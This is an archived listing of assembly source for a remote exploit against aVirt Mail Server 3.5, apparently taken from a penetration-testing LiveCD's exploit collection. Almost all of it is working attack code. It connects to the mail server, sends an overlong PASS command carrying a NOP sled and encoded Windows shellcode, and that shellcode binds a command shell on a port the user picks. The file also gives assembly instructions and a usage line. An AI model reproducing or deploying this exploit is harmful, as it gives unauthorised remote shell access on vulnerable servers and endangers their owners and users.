home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / avirt / avirt.asm.txt < prev    next >
Text File  |  2005-02-12  |  13KB  |  478 lines

  1. ; The binary is available at http://www.beavuh.org.
  2. ;
  3. ; To assemble:
  4. ;
  5. ; tasm32 -ml avirtx.asm
  6. ; tlink32 -Tpe -c -x avirtx.obj ,,, import32
  7. ;
  8. ; TASM 5 required!
  9. ;
  10. ; dark spyrit  <dspyrit@beavuh.org>
  11.  
  12.  
  13. .386p
  14. locals
  15. jumps
  16. .model flat, stdcall
  17.  
  18.  
  19. extrn GetCommandLineA:PROC
  20. extrn GetStdHandle:PROC
  21. extrn WriteConsoleA:PROC
  22. extrn ExitProcess:PROC
  23. extrn WSAStartup:PROC
  24. extrn connect:PROC
  25. extrn send:PROC
  26. extrn recv:PROC
  27. extrn WSACleanup:PROC
  28. extrn gethostbyname:PROC
  29. extrn htons:PROC
  30. extrn socket:PROC
  31. extrn inet_addr:PROC
  32. extrn closesocket:PROC
  33.  
  34. .data
  35. sploit_length           equ     783
  36.  
  37. sploit:
  38.  db "PASS " 
  39.  db 016h, 05bh, 05bh, 090h, 090h, 090h, 090h
  40.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  41.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  42.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  43.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  44.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  45.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  46.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  47.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  48.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  49.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  50.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  51.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  52.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  53.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  54.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  55.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  56.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  57.  db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
  58.  db 090h, 090h, 090h, 090h, 090h, 08bh, 0feh, 033h, 0c0h, 050h, 0f7h, 0d0h
  59.  db 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h, 08bh, 0c7h, 048h, 080h, 030h
  60.  db 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 0bbh, 099h, 0b0h, 090h, 041h, 0c1h
  61.  db 0ebh, 008h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 00bh
  62.  db 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h
  63.  db 0b3h, 08ch, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech, 032h, 0c0h, 0ach
  64.  db 084h, 0c0h, 075h, 0f9h, 0b3h, 0b0h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch
  65.  db 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h
  66.  db 051h, 056h, 052h, 0b3h, 08ch, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech
  67.  db 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h
  68.  db 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh, 057h, 0ech, 06ah, 002h, 053h
  69.  db 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h, 0b0h, 00ch, 0abh, 058h, 0abh
  70.  db 040h, 0abh, 05fh, 048h, 050h, 057h, 056h, 0adh, 056h, 0ffh, 057h, 0c0h
  71.  db 048h, 050h, 057h, 0adh, 056h, 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 0b0h
  72.  db 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h, 033h, 0c0h, 08bh, 046h, 0f4h
  73.  db 089h, 047h, 03ch, 089h, 047h, 040h, 08bh, 006h, 089h, 047h, 038h, 033h
  74.  db 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h, 02ch, 057h, 057h, 033h, 0c0h
  75.  db 050h, 050h, 050h, 040h, 050h, 048h, 050h, 050h, 0adh, 056h, 033h, 0c0h
  76.  db 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h, 0ffh, 057h, 0cch, 0ffh, 076h
  77.  db 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h, 053h, 0ffh, 057h, 0f4h, 08bh
  78.  db 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h, 0e8h, 004h, 050h, 0ffh, 057h
  79.  db 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h, 0b5h, 004h, 050h, 050h, 057h
  80.  db 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0d0h, 083h, 03fh, 001h, 07ch
  81.  db 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h, 056h, 0ffh, 077h, 0a8h, 0ffh
  82.  db 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h, 0c0h, 050h, 0ffh, 037h, 056h
  83.  db 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0c8h, 033h
  84.  db 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h, 0ffh, 057h, 0fch, 057h, 033h
  85.  db 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach, 0ffh, 057h, 0d8h, 06ah, 050h
  86.  db 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh, 057h, 0e4h, 090h, 0d2h, 0dch
  87.  db 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh
  88.  db 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h
  89.  db 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h, 0dah, 0ebh
  90.  db 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 0d8h
  91.  db 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h, 0f8h, 0f7h, 0fdh, 0f5h, 0fch
  92.  db 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h
  93.  db 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h, 0f5h, 0f5h
  94.  db 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh, 0fch, 0dfh, 0f0h, 0f5h, 0fch
  95.  db 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h
  96.  db 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h, 0edh, 0c9h, 0ebh, 0f6h, 0fah
  97.  db 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h
  98.  db 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h
  99.  db 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h, 0fah, 0fah, 0fch, 0e9h
  100.  db 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h, 0ebh, 0fch, 0fah, 0efh, 099h
  101.  db 09bh, 099h
  102.  store dw ? 
  103.  db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
  104.  db 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh, 0b7h, 0fch, 0e1h, 0fch, 099h
  105.  db 0ffh, 0ffh, 0ffh, 0ffh, 090h, 090h, 090h, 090h, 090h, 05fh, 029h, 040h
  106.  db 000h, 00dh, 00ah  
  107.  
  108. user db "user beavuh",0dh,0ah,0
  109. userl equ $-user
  110. logo  db "aVirt Mail Server 3.5 remote.", 13, 10
  111.       db "by dark spyrit <dspyrit@beavuh.org>",13,10
  112.       db "http://www.beavuh.org",13,10,13,10
  113.       db "usage: avirtx <host> <port> <port to bind shell>", 13, 10
  114.       db "eg - avirtx host.com 110 1234",13,10,0
  115.       logolen equ $-logo
  116.  
  117.  
  118. errorinit db 10,"error initializing winsock.", 13, 10, 0
  119. errorinitl equ $-errorinit
  120.  
  121. derror  db 10,"error.",13,10,0
  122. derrorl equ $-derror
  123.  
  124. nohost db 10,"no host or ip specified.", 13,10,0
  125. nohostl equ $-nohost
  126.  
  127. noport db 10,"no port specified.",13,10,0
  128. noportl equ $-noport
  129.  
  130. no_port2 db 10,"no bind port specified.",13,10,0
  131. no_port2l equ $-no_port2
  132.  
  133. response db 10,"waiting for response....",13,10,0
  134. respl   equ $-response
  135.  
  136. reshost db 10,"error resolving host.",13,10,0
  137. reshostl equ $-reshost
  138.  
  139. sockerr db 10,"error creating socket.",13,10,0
  140. sockerrl equ $-sockerr
  141.  
  142. ipill   db 10,"ip error.",13,10,0
  143. ipilll   equ $-ipill
  144.  
  145. cnerror db 10,"error establishing connection.",13,10,0
  146. cnerrorl equ $-cnerror
  147.  
  148. success db 10,"sent.. spawn connection now.",13,10,0
  149. successl equ $-success
  150.  
  151. console_in      dd      ?
  152. console_out     dd      ?
  153. bytes_read      dd      ?
  154.  
  155. wsadescription_len equ 256
  156. wsasys_status_len equ 128
  157.  
  158. WSAdata struct
  159. wVersion dw ?
  160. wHighVersion dw ?
  161. szDescription db wsadescription_len+1 dup (?)
  162. szSystemStatus db wsasys_status_len+1 dup (?)
  163. iMaxSockets dw ?
  164. iMaxUdpDg dw ?
  165. lpVendorInfo dw ?
  166. WSAdata ends
  167.  
  168. sockaddr_in struct
  169. sin_family dw ?
  170. sin_port dw ?
  171. sin_addr dd ?
  172. sin_zero db 8 dup (0)
  173. sockaddr_in ends
  174.  
  175. wsadata WSAdata <?>
  176. sin sockaddr_in <?>
  177. sock dd ?
  178. numbase dd 10
  179. _port db 256 dup (?)
  180. _host db 256 dup (?)
  181. _port2 db 256 dup (?)
  182. buffer db 1000 dup (0)
  183.  
  184. .code
  185. start:
  186.  
  187.         call    init_console
  188.         push    logolen
  189.         push    offset logo
  190.         call    write_console
  191.  
  192.         call    GetCommandLineA
  193.         mov     edi, eax
  194.         mov     ecx, -1
  195.         xor     al, al
  196.         push    edi
  197.         repnz   scasb
  198.         not     ecx
  199.         pop     edi
  200.         mov     al, 20h
  201.         repnz   scasb
  202.         dec     ecx
  203.         cmp     ch, 0ffh
  204.         jz      @@0
  205.         test    ecx, ecx
  206.         jnz     @@1
  207. @@0:        
  208.         push    nohostl
  209.         push    offset nohost
  210.         call    write_console
  211.         jmp     quit3
  212. @@1:
  213.         mov     esi, edi
  214.         lea     edi, _host
  215.         call    parse
  216.         or      ecx, ecx
  217.         jnz     @@2
  218.         push    noportl
  219.         push    offset noport
  220.         call    write_console
  221.         jmp     quit3
  222. @@2:
  223.         lea     edi, _port
  224.         call    parse
  225.         or      ecx, ecx
  226.         jnz     @@3
  227.         push    no_port2l
  228.         push    offset no_port2
  229.         call    write_console
  230.         jmp     quit3
  231.  
  232. @@3:
  233.         push    ecx
  234.         lea     edi, _port2
  235.         call    parse
  236.  
  237.         push    offset wsadata
  238.         push    0101h
  239.         call    WSAStartup
  240.         or      eax, eax
  241.         jz      winsock_found
  242.  
  243.         push    errorinitl
  244.         push    offset errorinit
  245.         call    write_console
  246.         jmp     quit3
  247.  
  248. winsock_found:
  249.         xor     eax, eax
  250.         push    eax
  251.         inc     eax
  252.         push    eax
  253.         inc     eax
  254.         push    eax
  255.         call    socket
  256.         cmp     eax, -1
  257.         jnz     socket_ok
  258.  
  259.         push    sockerrl
  260.         push    offset sockerr
  261.         call    write_console
  262.         jmp     quit2
  263.  
  264. socket_ok:
  265.         mov     sock, eax
  266.         mov     sin.sin_family, 2
  267.         
  268.         mov     ebx, offset _port
  269.         call    str2num
  270.         mov     eax, edx
  271.         push    eax
  272.         call    htons
  273.         mov     sin.sin_port, ax
  274.         
  275.         mov     ebx, offset _port2
  276.         call    str2num
  277.         mov     eax, edx
  278.         push    eax
  279.         call    htons
  280.         xor     ax, 09999h
  281.         mov     store, ax
  282.  
  283.         mov     esi, offset _host
  284. lewp:
  285.         xor     al, al
  286.         lodsb
  287.         cmp     al, 039h
  288.         ja      gethost
  289.         test    al, al
  290.         jnz     lewp
  291.         push    offset _host
  292.         call    inet_addr
  293.         cmp     eax, -1
  294.         jnz     ip_aight
  295.         push    ipilll
  296.         push    offset ipill
  297.         call    write_console
  298.         jmp     quit1
  299.  
  300. ip_aight:
  301.         mov     sin.sin_addr, eax
  302.         jmp     continue
  303.  
  304. gethost:
  305.         push    offset _host
  306.         call    gethostbyname
  307.         test    eax, eax
  308.         jnz     gothost
  309.  
  310.         push    reshostl
  311.         push    offset reshost
  312.         call    write_console
  313.         jmp     quit1
  314.  
  315. gothost:
  316.         mov     eax, [eax+0ch]
  317.         mov     eax, [eax]
  318.         mov     eax, [eax]
  319.         mov     sin.sin_addr, eax
  320.  
  321. continue:
  322.         push    size sin
  323.         push    offset sin
  324.         push    sock
  325.         call    connect
  326.         or      eax, eax
  327.         jz      connect_ok
  328.         push    cnerrorl
  329.         push    offset cnerror
  330.         call    write_console
  331.         jmp     quit1
  332.  
  333. connect_ok:
  334.         push    respl
  335.         push    offset response
  336.         call    write_console
  337.         
  338.         xor     eax, eax
  339.         push    eax
  340.         push    1000
  341.         push    offset buffer
  342.         push    sock
  343.         call    recv
  344.         or      eax, eax
  345.         jg      sveet
  346.  
  347.         push    derrorl        
  348.         push    offset derror
  349.         call    write_console
  350.         jmp     quit1
  351.  
  352. sveet:        
  353.         push    eax
  354.         push    offset buffer
  355.         call    write_console
  356.         
  357.         xor     eax, eax
  358.         push    eax
  359.         push    userl
  360.         push    offset user
  361.         push    sock
  362.         call    send
  363.         
  364.         xor     eax, eax
  365.         push    eax
  366.         push    1000
  367.         push    offset buffer
  368.         push    sock
  369.         call    recv
  370.         or      eax, eax
  371.         jg      sveet1
  372.         
  373.         push    derrorl        
  374.         push    offset derror
  375.         call    write_console
  376.         jmp     quit1
  377. sveet1:        
  378.         push    eax
  379.         push    offset buffer
  380.         call    write_console
  381.  
  382.         xor     eax, eax
  383.         push    eax
  384.         push    sploit_length
  385.         push    offset sploit
  386.         push    sock
  387.         call    send
  388.         push    successl
  389.         push    offset success
  390.         call    write_console
  391.  
  392. quit1:
  393.         push    sock
  394.         call    closesocket
  395. quit2:
  396.         call    WSACleanup
  397. quit3:
  398.         push    0
  399.         call    ExitProcess
  400. parse   proc
  401. ;cheap parsing.. 
  402. lewp9:
  403.         xor     eax, eax
  404.         cld
  405.         lodsb
  406.         cmp     al, 20h
  407.         jz      done
  408.         test    al, al
  409.         jz      done2
  410.         stosb
  411.         dec     ecx
  412.         jmp     lewp9
  413. done:
  414.         dec     ecx
  415. done2:
  416.         ret
  417. endp
  418.  
  419. str2num proc
  420.         push    eax ecx edi
  421.         xor     eax, eax
  422.         xor     ecx, ecx
  423.         xor     edx, edx
  424.         xor     edi, edi
  425. lewp2:
  426.         xor     al, al
  427.         xlat
  428.         test    al, al
  429.         jz      end_it
  430.         sub     al, 030h
  431.         mov     cl, al
  432.         mov     eax, edx
  433.         mul     numbase
  434.         add     eax, ecx
  435.         mov     edx, eax
  436.         inc     ebx
  437.         inc     edi
  438.         cmp     edi, 0ah
  439.         jnz     lewp2
  440.  
  441. end_it:
  442.         pop     edi ecx eax
  443.         ret
  444. endp
  445.  
  446. init_console  proc
  447.         push    -10
  448.         call    GetStdHandle
  449.         or      eax, eax
  450.         je      init_error
  451.         mov     [console_in], eax
  452.         push    -11
  453.         call    GetStdHandle
  454.         or      eax, eax
  455.         je      init_error
  456.         mov     [console_out], eax
  457.         ret
  458. init_error:
  459.         push    0
  460.         call    ExitProcess
  461. endp
  462.  
  463. write_console proc    text_out:dword, text_len:dword
  464.         pusha
  465.         push    0
  466.         push    offset bytes_read 
  467.         push    text_len          
  468.         push    text_out          
  469.         push    console_out       
  470.         call    WriteConsoleA
  471.         popa
  472.         ret
  473. endp
  474.  
  475. end     start
  476.  
  477.  
  478.